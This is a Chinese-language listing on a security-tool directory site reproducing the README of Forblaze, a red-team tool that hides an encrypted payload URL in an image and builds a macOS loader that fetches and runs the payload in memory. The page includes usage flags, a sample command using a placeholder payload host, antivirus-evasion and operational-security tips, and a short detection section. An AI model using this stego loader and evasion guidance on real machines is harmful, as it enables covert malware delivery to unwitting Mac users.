Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Forblaze — Forblaze - 一个基于Python的Mac隐写术载荷生成器 | Kitploit
工具/GitHubGitHub/asaurusrex/forblaze
Payload生成漏洞利用隐写术渗透测试红队
GitHubasaurusrex/forblaze

Forblaze

Forblaze - 一个基于Python的Mac隐写术载荷生成器

查看仓库
56474年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Forblaze - 一个Python Mac隐写有效载荷生成器/内存Dylib/MachO执行

作者:AsaurusRex

免责声明

切勿将此项目用于除合法红队/渗透测试任务或研究之外的任何目的。严禁将其用于任何非法活动,请知悉本项目仅供研究用途,并旨在帮助推动红蓝双方的使命。

博客文章

关于Forblaze的博文,请查看 https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571

目的

Forblaze是一个旨在为Mac OS有效载荷提供隐写功能的项目。使用python3,它会为你构建一个Obj-C文件,该文件将被编译以从隐写文件中提取所需的加密URL,通过https获取有效载荷,并直接将其执行到内存中。它使用自定义加密——并非密码学安全,纯粹是为了规避防病毒引擎的分析。它是我之前为Windows构建的自定义加密(称为Rubicon)的轻微改动,实际使用中更为简单。Forblaze利用头部和尾部字节来标识你的加密字节在隐写文件中的位置,然后使用compile_forblaze.m中硬编码的密钥进行解密。这个密钥可以保存并重复使用,这样就可以使用不同的URL来获取不同的有效载荷,而相同的编译后的forblaze仍然能够执行并处理它(前提是头部和尾部字节未更改,并且新的隐写文件被上传到正确的位置)。

要求:

Python3(仅用Python3.9+测试过),以及一些相关的Python库——pip3应该能处理好你需要的所有Python依赖。此外,clang将用于编译,且forblaze应在Mac上运行,以便正确编译。

用法

用法: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]

为植入程序生成隐写文件。

可选参数:

-h, --help 显示此帮助信息并退出

-innocent_path PATH 提供要使用的无辜文件的完整路径。

-o OUTPUT 提供放置隐写文件的路径。

-len_key LENGTH_OF_KEY 提供一个正整数作为密钥的字节长度。默认为16。必须在10到150字节之间。

-url_to_encrypt URL 提供要放入编译文件中的URL。

-supply_key SUPPLIED_KEY 如果你想使用特定的密钥,请在此提供。格式必须为:-supply_key "\x6e\x60\..." —— 即每个字节之间需要两个反斜杠,否则将无法工作。

-stego_location STEGO_LOCATION 你必须在目标上提供一个隐写文件将存放的位置。建议使用严格的完整路径:例如 /Users/<>/Documents/file.jpg。

-compiled_binary COMPILED_BINARY 给编译后的二进制文件命名,用于从隐写文件中提取URL并在内存中运行代码。默认为forblaze。

-method METHOD 选择要使用的方法。方法1依赖直接将dylib执行到内存中,适用于Go有效载荷以及常规有效载荷。方法2依赖直接将macho文件执行到内存中,但不适用于Go编译的有效载荷。方法3是方法1的变体,但依赖从服务器获取解密密钥,这更有利于操作安全。默认方法是1。注意:根据你的执行方法,你可能仍需要手动编辑"module"(即RunMain)!

-key_url KEY_URL 提供用于解密隐写文件的密钥的URL。

root@kitploit:~
  python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg  -compiled_binary innocent_binary

操作安全注意事项

老实说,不算太多。Mac OS的检测能力仍然较差,尤其是对内存活动。作为给读者的练习,你也可以通过对此代码稍作修改,直接调用有效载荷字节,而不是使用URL。然而,根据有效载荷的大小,Python脚本中的加密部分可能需要很长时间才能完成。

注意:由于此代码编译为Mach-O二进制文件(而不是dylib,尽管可以在代码中轻松更改),像Gatekeeper这样的控制措施默认会阻止其执行,除非你能对有效载荷进行签名或移除隔离属性。

我建议更改默认生成的随机字节数量,以及更改forblaze用于在隐写文件中查找有效载荷的默认头部和尾部字节(以及这些头部和尾部字节的长度,使其可能更隐蔽)。

为了获得最佳操作安全,我建议从你控制的外部服务器获取解密密钥——这样你就可以严格控制对该密钥的访问,使逆向工程变得更加困难。

检测/预防

隐写术很难检测。如果你知道隐写文件的位置,你可以开始在正常文件EOF之后(例如对于jpeg文件,在"FFD9"之后)提取可疑字节。这些可疑字节仍然包含实际的加密有效载荷和无用的随机字节,除非你拥有Forblaze指定的头部和尾部字节,否则很难区分它们。你可以检查这些字节并寻找重复字节的模式,因为Forblaze的头部和尾部字节通常是这样工作的,但熟练的操作员可以使它比默认情况更难找到。如果某个有效载荷被捕获,你显然可以逆向分析二进制文件并尝试定位隐写文件,然后尝试使用硬编码的密钥和头部/尾部字节来还原正在被调用的URL(或其他字节)。但这都假设你通过其他方式找到了该二进制文件。

测试

此工具已在多种Mac OS版本上测试过,包括Big Sur和Catalina(x64系统)。如有问题,请告知。

技术细节

自定义加密是一种基本的凯撒密码,使用密钥的不同字节来移动明文字节的字节。这就是为什么更大的密钥不一定对加密更有利——它取决于你的明文长度。如果你的明文是50字节,而你使用了150字节的密钥,则只会使用密钥的前50字节。但如果你的明文超过150字节,那么较长的密钥会更安全。

隐写术相当简单:原始无辜文件中的字节保持不变,然后在其后附加随机字节(以及你的加密有效载荷字节)。默认情况下,这些随机字节的长度在2到2000之间(可能应根据你的明文大小进行更改——较大的明文应生成更多随机字节)。

内存执行部分参考了https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory,以及maisal加载器(目前找不到链接),作了一点简单修改:不是从磁盘文件读取有效载荷字节,而是通过http/https读取。

贡献/评论/批评

我非常欢迎评论和合作!希望这有助于围绕自定义加密主题产生有用的讨论,或为研究人员提供一些新的见解。

下载工具